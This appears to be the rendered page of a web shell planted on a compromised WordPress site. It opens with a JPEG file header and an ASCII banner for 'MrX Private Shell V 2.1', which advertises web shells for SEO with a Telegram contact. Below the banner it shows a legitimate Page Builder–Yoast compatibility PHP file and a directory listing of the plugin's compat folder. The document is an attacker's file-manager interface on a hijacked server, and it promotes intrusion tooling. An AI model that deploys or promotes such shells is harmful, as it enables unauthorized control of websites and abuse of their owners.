����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
if (
class_exists( 'WPSEO_Options' ) &&
method_exists( 'WPSEO_Options', 'get' ) &&
WPSEO_Options::get( 'opengraph' )
) {
/**
* If Yoast OpenGraph is enabled, we'll need disable PB when it gets the excerpt
* to avoid conflicts with other plugins.
*
*/
function siteorigin_yoast_opengraph_panels_disable( $content ) {
global $wp_current_filter;
if ( count( $wp_current_filter ) > 2 && $wp_current_filter[1] == 'wpseo_head' ) {
// Temporarily disable Page Builder for this instance of the_content.
add_filter( 'siteorigin_panels_filter_content_enabled', '__return_false' );
} else {
add_filter( 'siteorigin_panels_filter_content_enabled', '__return_true' );
}
return $content;
}
// If Yoast OpenGraph is enabled, disable Page Builder as needed.
add_filter( 'the_content', 'siteorigin_yoast_opengraph_panels_disable', 1 );
}
if ( defined( 'WPSEO_FILE' ) ) {
/**
* Returns a list of all images added using Page Builder to allow for their inclusion in the Yoast Sitemap.
*
* @param $images an array of all detected images used in the current post.
* @param $post_id the current post id.
*
* @return array
*/
function siteorigin_yoast_sitemap_images_compat( $images, $post_id ) {
if (
get_post_meta( $post_id, 'panels_data', true ) &&
extension_loaded( 'xml' ) &&
class_exists( 'DOMDocument' )
) {
$content = SiteOrigin_Panels::renderer()->render(
$post_id,
false
);
libxml_use_internal_errors( true );
$dom = new DOMDocument();
$dom->loadHTML( '<?xml encoding="UTF-8">' . $content );
libxml_clear_errors();
foreach ( $dom->getElementsByTagName( 'img' ) as $img ) {
$src = $img->getAttribute( 'src' );
if ( ! empty( $src ) && $src == esc_url( $src ) ) {
$images[] = array(
'src' => $src,
);
}
}
}
return $images;
}
add_filter( 'wpseo_sitemap_urlimages', 'siteorigin_yoast_sitemap_images_compat', 10, 2 );
}
if ( function_exists( 'yoast_wpseo_video_seo_init' ) ) {
/**
* If the Yoast SEO: Video plugin is trying to index a post, and the post has a page builder layout, render it using Page Builder.
*
* @param $content The content to analyze.
* @param $vid Array with video info, usually empty.
* @param $post Post object.
*
* @return string
*/
function siteorigin_yoast_video_render_page_builder( $content, $vid, $post ) {
if ( ! empty( $_POST['panels_data'] ) ) {
$content = SiteOrigin_Panels::renderer()->render( $post->ID );
}
return $content;
}
add_filter( 'wpseo_video_index_content', 'siteorigin_yoast_video_render_page_builder', 10, 3 );
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| js | Folder | 0755 |
|
|
| acf-widgets.php | File | 3.97 KB | 0644 |
|
| amp.php | File | 297 B | 0644 |
|
| error_log | File | 11.36 KB | 0644 |
|
| gravity-forms.php | File | 731 B | 0644 |
|
| jetpack.php | File | 1.35 KB | 0644 |
|
| layout-block.php | File | 4.82 KB | 0644 |
|
| lazy-load-backgrounds.php | File | 2.05 KB | 0644 |
|
| polylang.php | File | 308 B | 0644 |
|
| widget-options.php | File | 1.04 KB | 0644 |
|
| yoast.php | File | 2.56 KB | 0644 |
|